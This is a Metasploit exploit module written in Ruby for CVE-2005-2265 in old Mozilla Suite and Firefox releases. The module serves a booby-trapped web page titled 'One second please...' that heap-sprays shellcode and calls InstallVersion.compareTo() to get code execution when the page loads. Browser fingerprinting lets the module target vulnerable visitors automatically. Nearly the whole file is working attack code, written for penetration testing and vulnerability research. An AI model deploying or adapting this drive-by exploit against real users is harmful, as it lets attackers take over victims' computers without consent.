##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	# The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
	# and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "1.0",
		:ua_maxver => "1.7.10",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking, # reliable memory corruption
		:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
			'Description'    => %q{
					This module exploits a code execution vulnerability in the Mozilla
				Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
				module is a direct port of Aviv Raff's HTML PoC.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>  ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE',    '2005-2265'],
					['OSVDB',  '17968'],
					['BID',    '14242'],
					['URL',    'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
				],
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
				},
			'Targets'        =>
				[
					# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
					# WinXP-SP3 and Win2kAS-SP0
					[ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Ret' => 0x0c0c0c0c,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 13 2005'
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name}")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

		spray_to = sprintf("0x%.8x", target.ret)
		spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
		spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
		eax_address = sprintf("0x%.8x", target.ret)

		return %Q|
<html>
<head>
<!--
	Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
	From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
	Greets: SkyLined, The Insider and shutdown
-->
	<title>One second please...</title>
	<script language="javascript">

		function BodyOnLoad()
		{
			location.href="javascript:void (new InstallVersion());";
			CrashAndBurn();
		};

		#{js_heap_spray}
		// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
		function CrashAndBurn()
		{
			// Payload - Just return..
			var payLoadCode=unescape("#{enc_code}");

			// Size of the heap blocks
			var heapBlockSize=0x400000;
			sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));

			// Set address to fake "pdata".
			var eaxAddress = #{eax_address};

			//	This was taken from shutdown's PoC in bugzilla
			// struct vtbl { void (*code)(void); };
			// struct data { struct vtbl *pvtbl; };
			//
			// struct data *pdata = (struct data *)(xxAddress & ~0x01);
			// pdata->pvtbl->code(pdata);
			//
			(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
		}
// -->
	</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
		|
	end

end
